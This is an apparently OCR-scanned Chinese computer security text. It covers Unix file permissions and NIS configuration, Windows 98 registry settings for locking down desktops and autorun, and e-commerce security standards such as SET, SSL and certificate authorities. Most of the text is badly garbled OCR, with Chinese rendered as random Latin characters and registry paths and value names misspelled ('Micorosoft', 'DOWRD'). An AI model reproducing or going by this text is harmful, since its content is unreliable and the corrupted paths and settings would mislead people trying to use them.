Horp U T 43 R IR 42 -

& —FRRE

& 55— rwx TR R ERTTRIFFR

& B2 rwx RARSHRIAA P

& =4 rwx TR HAL P T RIBUR

RV AT SR B AR TR A -

FEF AR PAT AT E b, TR AT, 405 SH T,
s f S AT HBEFTAEMAIARFFAEAME b, SHERKITFTH
KEERHE S M T TR I TRRAE B, 5%
WA ERMEREE R, MEFR (x.s M ORRBITHFITH R
W ASHKREFR (- SHTIRRPITHTIRARSF . BEHFH
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75 A chmod #5435 LABTF ATy M2 IS B FiifFal
FRUBMNAFRBAE, ch 4, whH 2,581, Mrwxr-xr-%
754 ,

S SO B =4 2 0T A chown Fil chgrp 72, B EBUE RB
FRARRLEBERERT,

Unix B & A BB , (AR ML T s, EF AL —E
BT B AN AREM T, FRRSUATELRRKE B
KN A BE RGPS X — 2 E R T A AT iR &3
BFEEEZR, EFAIGEE, BFATITAREXME, REIENEEN
Unix SCHFREBER '

ME LR B XA TR ST, B O fT & BT 170 #
B R T B MRE (AR &30 AP A e E B A BUR %,
PRl n R IEBM IR E T &2 X WAFABGFT, Pt R B Unix
X FREFRER ., XHREANBEZLIE CUEFTT), REH
2, MREASXKEBEBAIESR, LM AP #HEYEE -1 B R
Ay X AN SO R 1 - W R U R R bR F iR
ST KK X RS GRS ARHIR, BT
root ASh , IRAN B RE R XX HABAERT AT E . B b BT A &6 S
FROFA A —SEEAERT i WaP, XREMARERAE
TS XV, LA R B AL X419 SUID 7], T AE S BT
BHERYE, WRBA chmod )4 , RAES RERML N E LKA L
L FTARS FE3CHH mem | kmem FIZZH U swap L2 —FEH,

ER A X (MIERHAMEE) RS, NS AERLREX
AT SEF umask fir 415 B SO I 8 LR AR

— BB, Unix R4 M2 O SHEfT AZRR BT B K, AT f#
AP A LLA write i 2 KX R . B wite 255 BEEFTHM
(B8 , (H K 2800 P 348 F write BRI AL P 895 BB, TR
G 2R SN BUF T BRI RS,
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/dev BB YR 755 F#BFAT R, BB oot BT A , A ARFER
root ZMKIAEAT I P 2B B RE 4 K B R A —BlSh, Bl — B GE
HREEERS)ERN#EES X AR, BRXRENEE R
BRESREMNYHXMEFEHA (RRESGRS), T H N Y45
RAXFBRFHAP, XHZLERPHARF S THAR Unix XHFR
BT o

=. Unix B9 NIS i &2

7 Windows NT R4LHABKHEE, FHETE Unix RE T HA—1
KLU, IR R MEEERE NS , AL EMNZEKZHIERIE
WK, TEHREENF—T NIS ,EBEH Windows NT FHIRA
a5,

1.NIS 54 AxBGER

AN ERES, B TEPER, AESHBITH=
7ol O 4 A 5% 1) TR () R«

& NIFCE AR 4D, I passwd | group I host %,

& S —AELEXHRBR, LAUEEBIN_ LA R EDL,

& EFE EYL_ PG SO AR A B AT RE R N

St F—A/ NPT S , A EATREA AT 4 )8, {8 2B 4%
PIBL H 283K, L LR T BRSO [ R, T 20 F 3R b A 38 I ok
FHR. NS HEREXMARETFEN—IMEEREHRS, ERHE
fRR E A SRR, NIS EERA T LA SR AR A 5
P4 5 2 ) 7«

& NIS HEAAIEEE AR — N BERBST, XA EE
B AR A SR B S, BARBSBE— N0k L

& NIS {5 M FRCE S REE BN,

& FELNEEHE,

& AU BESEHRRIN EMENEVLE,
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M5 B RS NIS i@ & THREREERE EIE BN AL
B34, N etc/passwd . /etc/Goup F1/etc/passwd 5§ , iX 6 i B 34
MEBFEFAENRG LHR—HR,

LX NIS % /ete/ passwd U B SR ], R EBEF NIS &+
BHEE, H—NREMEN NS HERGH P RRSHE, RAEH
B RBE R ML —A /etc/ passwd L, BI NIS FRF#5 sysl LA/
dc/passwd CHF. R NIS 94 A5 ) B Bl bR Hh Je s thl P 38

M PFE NIS & P L BB AT, /ete/passwd SCIHH BIFE LR T

+::00:0:: K5I FEMNHEXEFRE NS RFES LHOLSF

ST EEE . 04 F ST SR B IR S0 /ete/ passwd A2 /etc/ pass-

wd H5% CR B Z R0 BT A TR B R B A s BT T, T A HE S NIS

T, BIAE N NIS P o

NIS Bt A%SCHE PR B T8 AR, HoAg PR AE DBM, IERE R

DBM & — /™%

uRH%. R RG, BSD

v Unix PEET
iﬂw"&/%~ DBM #9357

: ' DBM $(4% FE

—HRBFM

EATRELH R,

BAXRBEF/

BHMNEETE

ARG

BAEA BB R

Eji) s, X {8
, DBM i 4 NIS
§§§§%/ B 5T 9 — 1R

HRATHLE .
Q70  zramur -
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2 . NIS 48 8%

NIS RAEETFEFI/RFSHEER. NS RFH/EE NRF 4
BRI NIS FR4-28 2 HIE M P R ARG 28, B QIE MR S B gt , 3
HFILEATEZD] NIS MR 5528 1 NIS MR 5528 FHSRSE-45 NIS & #lL
BR324 NIS ERFBABILIER, NIS NRFS[ERENEH
ARG NIS ERE WM T, ZE—4 NIS REPTREAERILH
A MBR S5 28 , (B2 MR85 RAEA — 1. NIS RS 2540 & NIS %R
Bst, B M4 s NIS Z P HILRBARREFE BN —N2RE—HR
A,

— A NISEFHLANIS RSB ELRBETTENTALARRE
8. B NFS —#%, NIS fR5 28 L BE/E N NIS & P 4L, —H NIS £/R
EB/NHECHEEBLE R, A K NS REFUSHRANGER.

IR NIS B9% FHLH M Windows NT B4 S ALLAE , FR NIS
B E MRS 2SS Window NT B E . &R S 2R S5
AHBEANENT % NS REFEM—1 A6 (BFEERFE N
R4 28 FE DA AU A —4 NIS RERZ L ARE 3,3 H
MR 55 23 02 P ALRT LU Hofth NIS RGEM RS 2%, XHEFTA M
NIS RGBT AR BB K . M7E Windows NT REGH, &0
IR % 2 FZE P HLRARRER B BN B SIS A EK . 7E NIS REH
A A E R — YR, MZE Windows NT _LHIARREM
3, WAERRZEAT,

3 . NIS B4t o9 £ 3%

RGEAE T REBENBIREES , AR MERIE RS LR
AR 2 —H, RAEH R AU EBETA B ECE SUHR 4 B NIS
FIBE BLST , R B8 o — 3043 SO ROk A BBUIE B 5, e T 2 0
AR BRT X e Bg sk, NIS B AiF R A EH R AR NIS
B ARSI, Bl Mg B iER e, Ehas NIS
BHHRFESERGE B ASCI B304 B
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7.3.3 Windows 98 (2245w

P EFEMVEAR T Windows NT 55 Unix BFP B WA B RER
Gy R 2HERNE, X F AR P % R Windows 98 SR, FFEth7F
AERLTHMEE, I X, Windows 98 MELHEEE,
EN AP, LR AFE Windows 98 FIE B S, 5T HUT
TR

—ERAPER

HEHAFPHER
PORNEE K Dak: &
AR EERBUR, R
HHl—EHPXRGE
XA BB, R
KRG REMNE
et, HAKPR
mF GXHELASSL
“EERTM AP
BAERH B -

1 B “EH
ER” — “#B”
— “FPREXH”
BEFAPTAEX
BET B SR E BB B RE, Windows H 318 AN AR E (C) 78k, 24
W R, R ERA R E R R AP REB KRB
EREHFHHRE, N TACHTE, SE# T LA CICIZNED,
{EX ] i SN B AR K R R 8L T 05 (8 . RATHRRE , RE B LR
FBHRAEHFARAE R, B, F—EZLE : AT HED K
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B B B0 AR A BAEXNES (N4EH%) 2R
RRBEA A - EEBAERRRBENR L,

2 EFREBHHTEE, U “BERA"EM0EA WINGS , ®HF &
FEER"— “AP” HESEA, ZRERAPREDL, KHERERE
BE AP RBIFRIH .

N, B 1ok 3792 Vb i DN

Bl i3RI P BEA BB LB P E RGERIAE B ¥ A WIN9S,
AR T#ME: 31T “ REGEDIT "#TFFiE/t# , %6\ HKEY_USER\.
Default \Software \Micorosoft \Windows \CurrentVersion \Run €] 887 “
frefE"RELA R AR, B, REFFEMERN “ undl exe
user. exe, EXITWINDOWS” . iX# , %k 35 F P ikl B AR WINOS 2
SR ENES B 3%,

T B kAR A P 3 P8 B WINOS (S B3R B A& 205 K
HARKRNTET %8 MSDOS. SYS XfF, FEZICHH [option] /NTF
Fm AT ILET:

“ BootMulti =0 " : W B R A REH T L ETF;

“BootGUI =1 " : 7E /3 i HHe#E A WIN9S BEIJE F F7 71

“ BootDelay =0 " : & B7EJ3 3BT “ Staring Windows 98 -+ f&
BEBEMEEN 0

“ BootKeys =0 ”: ¥t B i shad B+ F4 | F5 | F6 | F8 ThRE# R

o
=.REARR5

RPEES LT HE - HERARRA AP S0 A WINOS
ARG, WAHRTT LUE G B R IBERERE AP &R P
A FBUR o

1 B “FH"REGFS NS
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FTHEMF, 75 \ HKEY_CURRENT _USER \ Software \ Micorsoft \ Win

dows \ Current Version \ Policies \ Explorer 1 & # — 4 DWORD 1B

“ NoSetFolders” , B {H 7 “1” . 3 B¢, FA P E R B A “S AR " I R
REfEA BB 4TEINL .

FEMS X F#HiE—> DWORD {H “ NoSetTaskbar”, S#{EN “17,
W “EFERE"REEEE L.

FEZ S X T HE—1 DWORD {& “NoFind” , 8 fH K “1”, W “& K"
ThEEwAs ik,

FERSF X T i — A Z I {H “NoRun” , 848 % “0x00000001” , JU]
“BAT R

2. %A “EHrE”

FEXRA T “BERIEAR A ITERYL” SRS , @ AP T LUBE A T8
HAE ERBABE AHKEXA"EBHEE, ZE “\
HKEY_CURRENT _USER \Software \Microsoft \ Windows \CurrentVersion\
Policies\ System F7%E DWORD fH “ NoDispCPL "8{EN “17, X
B EShRE BB,

3. RRAEE LA BAF

7E\ HKEY_CURRENT _USER\ Software\ Micorsoft\ Windows\ Cur-
rentVersion \ Policies \Exp lorer 572 DOWRD {5 “ NoDesktop ~, 5 {E
v 17 EFRITENE, HEAF fE ERERE ST SRR

4 BREAMALES

BT B IR A P R EER, BATAT AR T R 5 EE
R ERGMR:

7£ \ HKEY_CURRENT _USER \ Software \ Micorsoft\ Windows \ Curren
tVersion \ Policies \System 7 & DWORD f{H “DisableRegistryTools” , §&
BHH “17,

5. RBREBHE

T BRI E S, TS — RS 8 RRUE R , HRA L
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31

7E\ HKEY_CURRENT _USER\ Software\ Micorsoft\ Windows\ Cur-
rentVersion\ Policies\ Expl orer b —A 3 %HE “ NoDrives ~, 3
B4 {5 00000000 , TR A BRRAL TR B0 2% , KB i A F AR,
BAFHRE—MXTNMN A B Z . —74,,B101 FA,02 4B,
04 2 C -0 - E RS C 4%, 8{H 9 04000000; F38 D £, B{H N
0800000 ; F2# B A IR shas 4 ff ff ff ff,

6 \# A MS DOS # X

Rl T IKEh ARV , LA PR R LGEN MS DOS 5 R AR AR
Fhas, o T FRE A, TRH MS DOS ZhgE:

\ HKEY_CURRENT USER\ Software\ Micorsoft\ Windows\ Cur-
rentVersion\ Policies FH & “ WinOldApp " X4t , EH T HE—1
DOWRD {4 “ Disabled ", 8{H% “17,

N AR

£ WIN98 REEH , i B EH O S#P LU PWL ERXFHT Win-
dow F H &, 3@ F - W] 7 (R R B AR B B 9 O 2 30, 306 M
Bro X#E, MbERRIRA MLV EH A S M HARLE . Ik, IRA LER
O43CHBRERAENR . 7E System. ini 3 H i) [ Password Lists ] ¥ 771K
-2 SCHFR R A B BRI S8 T8 B b X i, & A
FPETERD O3, W EEEEMBRT

8 HE k&M HIHBEITHE

HERBRRPRETERG HRRERAATE—-KTH? A X
B HIBFTIRSA/RITE R . KT, Windows98 BA B
B TR RITIEE , AT EA CD ZJ5, CD & A 3hi# T#
B, T 4 EATEAMR B R A AUTORUN. INF SXHH YRR, E&
W& HBIETT. WINDOWS 98 MR R R IIREHBRAE L ILRANA
ETTIEE, W R R EL TRERPEFEEERZT AP E
HA—MRHEZFEAE AUTORUN. INF IR RZ)E, RETSH
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;iEfT, XA BERHEWR T ARZIL, Baimim LB T —F
EITHTHEBRERPEFN B DBTER, WL RINVF XA RS
K6 B 3a1TohEE. A WIR IR ET LISCH] B3R AUTORUN ZhfE:

B-FHEEERE ‘ROBERE"— “BHE"ITH “REBH"H
fr “REEHEBIRE; BT “ CDROM "4y 3%, W8 P Bt %
W B R, TR R R B, A B R B A
HIEAIRE”, EL B HFR WA, X—FERAAREE IR
# ) AUTORUN ZhE,{HE% CD i B 3G h et s Ik T

A R 3T FFIEMRTE \ HKEY_CURRENT _USER \ Software \
Micorsoft\ Windows\ CurrentVersion\ Policies\ Explorer , fl] & — 4*
DWORD f& “ NoDriveTypeAutoRun” $8{HN “1” . XHENXEHAZ)
BETREH B AL AR B R E&H AUTORUN. INF X XR/E
BARSKRAEAEEER, T CD B gl A ZHm,

Zid EEMIRE , /R WINGS REMEZ &R KKER , RALHE
HOIEERP A, WA RAECEEH P RRESRTRRNRET,
HREMAR R E ISR EB.

BE, BRRAPRENBRREE, £RAERERPRERNX
BAaMW? BE, “BHER - “APRTPEPHPRE, B W
BR7EE, MERFI P, FEEMFE\ HKEY_LOCAL MACHINE # 4% Net-
work 58 MBS, 7£ \ HKEY_CURRENT USER \ Software\ Micorsoft\ Win-
dows \CurrentVersion H¥; ProfileList F8MBR. BTH B hitEHL, fE 8t
A WIN98 Y “%ii A Windows %55 " $#/R1E , ZE A M AR P & 0
—EARERATL, B “HE”. WA REMRT, S 5Eshet
BAEHI “HiA Windows B HERET o

HIERARER KBRS ITEI

BB, A AP A RS ROCRS st B L, AR b st aT LABE
BAE DOS RET X REHITHGE , H LB AT LR A K& KL
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FEH, - BERKEER
Pc friend -

BEhThek, Rk, RAILMEF G BV, HFAEREA ﬁﬂa‘ﬁ)\%
i) CMOS Bt BEIhEE , RE K R AN SRR E RN “C only” (B
LAFN C BIB3h) , IR COMS ¥ B LB K HL,

7.4 BFHFHREEE

W R S5 BRI — R AR R R HILZ — EEE T
FHOGE, B TRFHELRBEE HEFIAER , DR REREH#E
RELFE, BTHFHNEBREESZBEW, X—/PNIFRERAE X
LT R 95 B 2R

7.4.1 fTiHB TR

HMFRFIEERK FI# BREHLARB FRSFR?

7% ( Electronic Commerce ) 2ZA1t42 90 EYIHALETE
RIXEZE SR —Fh 55 A EBR KR4S Internet X 7 5o
BT EMSIEE TR BRI B AR RN, PR T H AR
T AR S ESIN L k.

(L B ik ]
MNBEL R TR
ISR HL R 48 2R 47 I & R
FRES, Bl FRE
ek R WY BTk
oS SUHiNE TSIV Ly
HBLFRwE, WS, 5
F Internet [ F B %5 A
AL FE #E Internet I # 4T HY
WEA S, Wi HiEE BT A FF Internet Al Intranet $5 AR 3 fif g 32 B 1]
B, RRETEERA . Wins I B LG WP BT B 5
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BEGERME Pe friend
M o Y e

B, AENEER TSR E L EESR N HE,

HFRSFHEARESRZ: XM Internet/Intranet FE AR, H&TFH
HIM e, EFEEMY R, AP REsE XM S EEEH
FEYE, MERERKERE  MARENFEAYE, 2TRABE
K, EHEXAEZRZENTI, T EEES;mRLttS APk
B, BEAEA L MBUFHLE, EEEREMNS A,

—NERNETFRSFREHEGLE REBRGFEURETRH
ARG =T H B

7.4.2 WTESPRRERE

TEHBRM FH LTR35S B, Bl O M iy i) Bk B A2
G E 2, BT Internet A B W FF B, R L5 HEIlGEMME
K. FAEHOCENS LERERFRMAREERR; 2%
BE “BIE EHERNAEA; B, LR E B0k
HRBEHEANGHARSE, RZXHAANKESE, BFTRRMER
FoE (REMIBEIE T ) , RENM ARG RITAR SR RERAFE
EWBER,EHRE FAWE EEZ5&R BN Z A, 7 ERF N
HE? BE,. B FETHYRHENIMNREFTFANZLEER
ARAME, WEREAERLFTENZ R, —BEREFREEZLF
TEAEEUTILELBA:

® GREL

BT AR AN , VA H AR R 28 Z R 815 B A SCE R e %,
AREFERMERN AR RASRTUBRKELENER. B2 KRY
BAAHT, AT AR B B MR AR, A BERE RN NE, &
B A5 Bt

® KAKZE

HAREEETHREMBRNMMEZ G, B &R, EEN
2% B4 VR 1 AR R A% 22 1R 3 I A A [R1 2 2 0 R Rl A R 88 5 i I B
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F =y B R AKEEIN

Pc friend -

FEPEBE ARG R —%. XMFEIEAFE, E— 1 BEhaSAR
& W% AR AT DA R TAE

& BY

HTEEBETHEEOER, FTURSGEINER , BEEETUE
FAZAP EREE NGB RE ERBUE B, Tim s AP & 5 R
¥, '

& TEHKR

B T AT LA A 45, W] e Xt R4 o i1 BT B, &
EBMEONEFR EETUBAFHHMEAT, HEREEE™
{0

Hit, B FRFMELR S EER/IELNT AN FE:

1. FERTUXEPHHEFERYIARENER., WEAFE
MkS AP 2 S REEMAME, HAERBERP—RYAN
FHER,

2. XBEH
B HE Y

R _E 38 5 B
7 18 7 68 & Bk F
L HERBTER, E
ARG B, 8k
BERBAN TS
B EREL R
PO A LR
F. oHEAHEHE
LM R E R
— M EFRIER B
JE. EEEH @
Al SE B IA N T B
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BRI 5 R

3 AA/RIAE

HTFREENTERL, XS5 - BERERBHEEAN . FUHR
SWME-FHFR. AIITHES, ITRESNEE, BREHTHRE,
M BT, ey RE R IACBIIT SR A L BRet ], B E R/ AREBIT
HMEL MITRIREEZHE. BB FR5EETRHEIHT
FERLARAT BN

4 AuEsE

5 WS RA TSN, I LR MITTREES ., WA
WEHTHE, RSN KB LT , B SN E, BT 1
M 15, AT KIERZ 4, A TR TS HILmSEZH K,
B B F 38 5 St E BB MBI T B, AGRBESE 5 ™ MIA IE

7. 4.3 RSP E

FERHMBTFZH S, B R AL —EH 5 NE L, U

1 #8558 (Partial Order) : BI7ER_F32 5 tof e S B BdiE
FRAFRSE RSN, R HARESEZ, B ;

2 . 5347#1A (Order Confirmation) : B M47EN HEMXGERZ
G, NFEFRFEREX BRI, A AR ERG

BRT LA BRI, A HE gk, XE T EYA —E MR R,
HBRERE, AR EIENZ TR,

HEER R FEGELHER, MR SE&MTI—&, il
AOERNE L G, FEA:

1 BZLBXAEHIIL (S-HTTP) AKEFHAX KNS, FR
Web ¥ Bl 5 5 S L 2.

2 HLEBEMIN(SSL: Secure Sockets Layer) : i Netscape /A 7]
REHRE2Z 5, BEENE GAERS M e, SSL#A
F Netscape Communicator 1 Microsoft IE ¥ ¥ 38, FLISE T/ EME
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B - EBE ARG BN
Pc friend -
2 5RIE, ,

3 B2 GEFARYMYL (STT: Secure Transaction Technology) :H
Microsoft 24 FJ$2 1), STT KA IEF R H7EN WA P B 7, LR &
L o¥HIBES . Microsoft 7E Internet Explorer R X —H AR,

4 FZ2WB T35 (SET: Secure Electronic Transaction) : 1996
4 6 H,H IBM . MasterCard International . Visa International . Mi-
crosoft . Netscape . GTE . VeriSign . SAIC . Terisa 3t [5] ] %€ (45 ¥ SET
ERAE,HF 1997 %5 AJE LA T SET Specification Version 1.0 ,
CHETEHARERFRSXS PG IE EERE FH xR
BBFENIE BFEL%E, £TF SET WEKER KBS T XHiEH
4.

FAXBRELEZG IS, “BEBFAH” SET(Secure Elec-
tronic Transaction) FR¥ELAHES FIAERARIXMNM LG 2% F
RH, BB N L35 E @R UNE = b dE, A B —
Internet LHLFRONL T,

7.4.4 BTEHFNERGER EEEARNE

— BFHEINERES ( CA : Certificate Architecture )

AT bR A STAT IR T R v 1 7 5 B AT 4R , L 2 B IAIE
hE (CANMRBFEFHHTOIFT, B CAKBRREMESRT
EBMEANEETE, RN XS & THHELGEE, BEM LS
VIR 32 5 B &4, E I3 5 W R , AT 46 3l L 77 95 B R JR o

1.CAWEAKRIGE

ATHIBETFHFHER, BEREREM ES5XGHNETT

(BIANFER IR P B P B RAT I S A IO 45 ) BN B 1y, ML EKT /R
FiE45 (DC : Digital Certificate )BERMARMATE G0, B FIEHR
BBV A ERAEUE R . & ZINENE Z B AENLHE
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BEG A
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(Root CA) , i IAIENLH (Brand CA) , KAKFFRA B P BUBCERTT
(Acquirer) BJSZfTMEIAIENLH (Holder Card CA , Merchant CA or
Payment Gateway CA)Hi BT TR BIREWEILH .

RS E2NENE CA MEARTIEE:

A, EBAREF SR ESNEDERWARDEH BFIEB R
HEFEL,

B. X FIEBMPFELHITRIE,

C. WHFIEHH#TER, EARIERMHEEERE, FetiERELH
AziEHE (GEFIEH),

D. B MAED R IMEDCARBERAXIMEORR
BER R TR RE,

2. %R CAARAHANR

%5—4X CA 2 SETCO A7) (H Visa & Master Card 418 )BT
B, A Z2HEFL (SET) HiCHER, % T B to C(Business to
Consumer) B FRIF RN BER TS, B LA SET H3UR SSL iR
R#*E. .

SET thiSURAEFF M R4 SR i R AT L2 i, B RAA4H
M {k%] ( PKI : Public Key Infrastructure )# X. 509 B, FiE #4rHE,
AN R IR L MIMERAREBER FXHIF
FREEXRNGEEE, EENESEMEDZREN B, FHit
SET B A 1RIFB4% % £ (Confidentiality) ./ A] & 1A ¥ (Nonrepudiation) ,
ERE—ESENIMEERR, ATLRIEB to CREMBFHFLEIM
FIRH#AT

HYBREAWHEE, SETHUMEZLRUHEE &% IRM
B ZEFEM—K SET hilZ G d B P, FEZSRE FIEBRIE HF
£ 2 A R $ 45538 A R RFEEX BRI N & a3 . AR —1
SET MY MR BB EA R YK AR CKHE 2 404F). TH SET B
WRBEBGHATEPAEEHETERE (Wallet ) M54, KRN
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B35 B EBR RO B
Pc friend -
UEALI FOE B R STAT, % HoAth i A 0 R A BRI o

MM SSL(Secure Socket Layer) % £ E # 2 th W N & H F i
Netscape 2\ A] FF R MIFEFF R HE M3 5E OSI HEHE (£1E2) B
MY, B7E Internet LIRSS F P ZEIRRZLEE, AURMEE -
52 EEABIN (FIA X. 509 £ HE FIEBH#HTSHIANE),
PARARIETE B AT A e B RS .

TESER— SSL R 5 3 B, Wikl FIE i BF 84 B
FUEF5 1% 3% LA B X FR AR X BRI 2% i R g0 > F 465 A SET BB i)
FERLYRER, B wT I, 6 A SSL B LA SET PR T B2

SSL hil M B KA R Z AL FE WA FTNRE, B SSL 24t
TEEEE ,BEIFBA RN AN TSR, BIXT L EER
FRBER, ARETRFES , WASKRAA TINS5, R
&AL SSL I H B i & M BAR, B BHF

H T B to B(Business to Business) i FRISERH AR, ER CA
HIZATEORBBIRA IR B to B5 B to C MK, BI B XM 1
¥y W _EERAT M B35 S AL EE E IR, ER Z 2 NIEIGE
B, B, R (BIARdEAL) , AR A T A HABARERMBE

( PKI ) AHBARERMA FHEESEREWRERME R CAKR,

3.5 =R CARABARE

Xt FEILTE PKI S AER ERS TRE (KBD B o BEX
DR 7 R AT DATESR b AT A, ZESX MR 7 R R il SPKM
AR SSL i, B4R, PKIHAR LIRS ER BN A LK
FFREMBE™ M L, &E mRF, K PKI AR KR H— R 5
FHN B R AR £ A Internet 475 TAE4H (IETF ) B irtrdEfb A
2 (150 )MEFREEEE (ITU )% EFRSUBR A HEHEN & S

BNLFE PKI BARER FME —REZESINERR S AR D
B R FEARHER

A. H Internet ¥¢ 5 TAEH B K BRI
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LDAP (2RI HRFBHMYL), S/MIME (2248 FHRAHi0),
TLC (FHERLEEHEEEAHHID, CAT GEAHAIEHAR, Common
Authentication Technology ), GSS - API GERZLRF#ED)%,
B. i EERARAEMAL (IS0 )SRERREEBE (ITU #EF R
FIFRAER 9594 - 8/X. 509 (B FiE e RATRHE)

7.4.5 REHMTES) (SET )krik

SET #5#E B 1997 4£ 5 A 31 A& A 1. 0 ALK, RHEERET
AR A ERRTE] B, Microsoft | IBM . Brokat . CyberCash Z8%k{4:/y
BJHHGE R R T — LA R 3K F , 40 Microsoft Wallet 3.0 . IBM Payment
Registry 1.2 . CyberCash CashRegister 4.0 % ,3f#id T HEHE Visa
Ml MasterCard ZEH) SET Kl H.0» SETCo HIBIR , LIRERF & SET
M.

SET 2.0 Fit44EH KN, BHMT —SHmKsc5HER, X
MEARZFEHREN, S SET 1.0 MRAFRLERETE,
BRIEEFEFNZHEK,

1. SET MCA#e) £2 8 4

CURBEMTRZ 2 BN Z BB R et B+
N AT CBRARAT ZIAIE, I LR 2RSS Fife S HE B KX
e o

()88 b Z BB M R4 — TP BGRApR o, BB 41,
AB R AR B FF & 2Z 00 PR P T 3L [R5 1 , 4 B4 058 5 IR ZE 3
FEAFIIRE T B E , A TEEMREGT & LHAT, fir
KBS EZEN BIR.

(3 BB LRT G EZN LSS RS FFFA
FRB/MYRTRT , X B2 E# M. AVFTE B AT E 08 AR
T R AR E AT , T BCRAT SR AR E R A SR FRAT
EHIRER, LR G A RARMEMEER TR,
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F=H5 B EHAEEL

Pc friend -

2 \SET RiEeth s

SET B FEMEAXMREHRE SHIE, BE SERHRT (I
B|iT)ZE, HiEfEr AR TF .

(1) EHBRESHFAREZE, R~ AZEHE BRI CHRIARE
FAEYE, R R BT RIAES;

(2). HRABAREA FiTH, HITREHEBEURFES
(Digital signature) FJ75 =B, TIIHE 585 Br - (LI 15 AR BTRIU 55
W RAT L “AFFE4” (public key ) FLAME . X B, fFARES
BB A S R, o — AN RITHREER, 55— R X TF AT
PRl ARSI BRI E (B R EBERE BRI £
AR AEBRRRL

(3) FAREHEFHBRER B C 8 SET IEBABCERERTT,
FI4RITIER 3 5 BAU R BAUE &

(4) BRI REMER R ERT I ENREFR
ABASARIE . FTLABCBARIT A AT R LMK (payment gateway)
RfFH X BB IR , BELBUESH VisaNET (Visa) 3 BankNet
(MasterCard ) B4 832 5 AU B E o

(5) BAUHIA G e FR 2B 5 ) 1H 32 & BEATHRIN LT3, 32 5 S8 o

(6) . ZETHRAFIE 5WCAERATE, WA FRBEPNERZERIE
BRI

HiF40 SET YEML B33 W http: / / www. setco. org/faq_dev. html

3.CAHET SET 240 EL A&

SET bR E R RHAZ G R ERBEE, HP, BFIEH (digital
certificate) JFLEL , BN 7E W 4% jE #0123 ) BB 4R 40 T a7 LAY Oy v ok
WIRHEITRFEGWAMNEBEMGEE, EHFHARBEEFIES
B[EFBRIT, RERXFTERBIEBRARF R AR, EHFHSAWE
PERCFIE B ABCRRAT, R BB EIE B R A ARNIE . i
I35 B, 1R AFIRF AR IE A FF & SET MRS IR, SR
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2EBEME
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B HAT AT 50, B R R AR BN E = RAK
UEH. 7 SET thE , H FHIIEH:

A FF AUEF (Cardholder ceritficates)

B 1R JEUET (Merchant certificates)

C ZATHIE AP EIEFS (Payment gateway certificates)

D W B4R 1T BIEEH5 (Acquirer ceritcifates)

E . X EITHUET (Issuer certificates)

FRAMIEBLHHERITRME. EFE—KEMBYZRT, 7
TADBEE BN ERF LRARSTRS L FRIT, 88 8A . RS,
FRASHY BRAF L%, 7T ABIAR RAR S 2508, X8
—BARRHR, S L B RS, B X BRIT. PRIERE,
ERBITESHALKF ERERE, BeREF FA—KEEBTE
ERFEENIER 5 R ARZHIERMEFEERR L, BT B FEY.
[RIEHb, , 7 29 I W A SUARIT B FIE B AT . RARER
BB AR 55 B R LA ROR A W ARAT , R RAT
EWALRE , ISk H— KBTS, AFMIIAER FRLITH,

T 2480 2 76 P 3 b 3 YE M e, Al A R SE AR “RJET R
FRARE LR ENER FAAZEFERLBE, FIRFEZ AR
B RORBRIES . Hln, BB FEMFE R AR R AIEREA, &K
RTE Internet AFFUEBEA, WER ABAT LIRE S i i s
REGEEY.

XE BIE =FERBPOGAER L (Certificate Authority , &
FRCA) o ERRMZGATF, CATBHEEEEAR, CAAMEE
AHEAR, FREEE, A BBRIB R RAKLESRMBANZFE,

SET B—Etr i, B & M EIRBE S BV 51 5% E B X HBE,
FREFAFREGZEREL L, BT BRI RISCE. Fln
FHoRE X HBRBITRMER T , WA E XA R (fERAF.
X FE BB AR RBAFLS , RERARELRGEEZ L, BEEXETF
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BoH0HERAGEL
Pc friend -

WA T ML B R L R B AN S5, B UL LB
AP A SET #ik% , [FIAd il 1t VISA | MasterCard 7535 B H# B .0 59
KR, T LIS RS SET MUBRAE.

7.4. 6 TR E PRI ERE

BIfER THTFEREX 5K SET ML, BT Internet L Z2H M4
WY P RANAR A LA T R EEE ER

1 AHZE

BEREAEERA,Z0E 75 2 WERRE&MERk BNE, #EEH
RRBEVERS , NEA R BT &5 8 B K

2 BERA

EATREX A MM %& REM BB, 3B, K EHHEE In-
ternet I R B AMBBIFEH EE ML, ¥ BERREEMEFR, B,
BRI AR ;

3.THEME

HHi, Internet M
1 DNS AR 5 2% 9 7T S 44
HIEE AR R AMTHE
K, Wi K2k S PPP
EERREHATE, A&
ARG ;

4 FERAF s

i F Internet 1M 4%
YERERILFERET «4
AR R, W, 15 EH
HERZ RBHEARNA
SR AL 2 o 38 B Y 25 R ()
B, EHEMEWYREAR
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EEGEBKE
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24x7 (X 24 /)0, 8R 7 REWELTIEWER, BMaIRER —
Rt E L FEARA G HHATEE, MRRNMEBEEREBFREELE
W A ABAANA BRI AT LSRR o NIERE S EYE, K
BRI DGR R AT REE AR 5, B, BoAR A A 948 84 T R B BEL
BREWY ERN— I EERR,

5.Web RFBoHRPERE

XS EBPHBEHITRP RRRIEZHEEN—NFH,
BT 5 G SR TE R &5 & L, B, B R (5 BB P o
WG , AR AR TE IR 55 45 o O BR HATIR P . HET, Web RS
HERENZERBER BR. Hit, BUUREAREH Web R5 25
BEEBUL T AFRR 4, T HL 2 E X PR AT &0, DAME TR S 85 8
Bt ZJE X BEHAITRE . LR, XEFTHEAKRAE, REHFZR
T8 Web N FIERTE Web iR 55 8% 540 B MBI BE 47 S EL 4R 1,
X ER AR5 2R 5~ Al N ER R A , T X E MR N B R
I Web 35 R A RN AP I —FRB . BARBT KBEEARA BY
FXF Web ¥ AT RY , (AR K AR 25 Bl KBR TN KR Z A
HIAEY , T BA X Web IR %5 88 TR 4T BRI , X R BIZKH Web ¥
RAHESIREERHT

6 BT R G AT A6 kA

BIE R A MBS N G i AT P ER2 Btk 58 B BUR AP
A2 5 A0e] N FRTE MR IR A HE Y TR1E L2 1O % 3R B 3 24 ) o 2R TR R G e 2
HRERPEEMBS PIRERAY? PR smE R RS $ETE
RIS, SRMEXERNLESBRTERES, ENEXHITHE
HEAIE, MBI Y 2 R AR R IR R
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Pc friend -

PR BieFRiER%

REBRER, BUARRERZ EZXERN, X—ERNTBUTE
W B R R

8.1 e R BENR LN

8.1.1 ek

Xt F Windows NT ¥ &, EH R Event Log F K Security
Log iC® , BEREHA RGN,

£ Unix RGP, B REFTHRN YR — M EFREHPRER
KRB RGN, IR A B X SUID | SGID B FF, BHE
HEEK A SUID 55 SGID B)fF , K2 /etc/passwd Fll etc/group X, F
PRARBRO P LARESEEXHREHBR.

BHFZHKMAS R find Al secure XHEHBF (RAKER
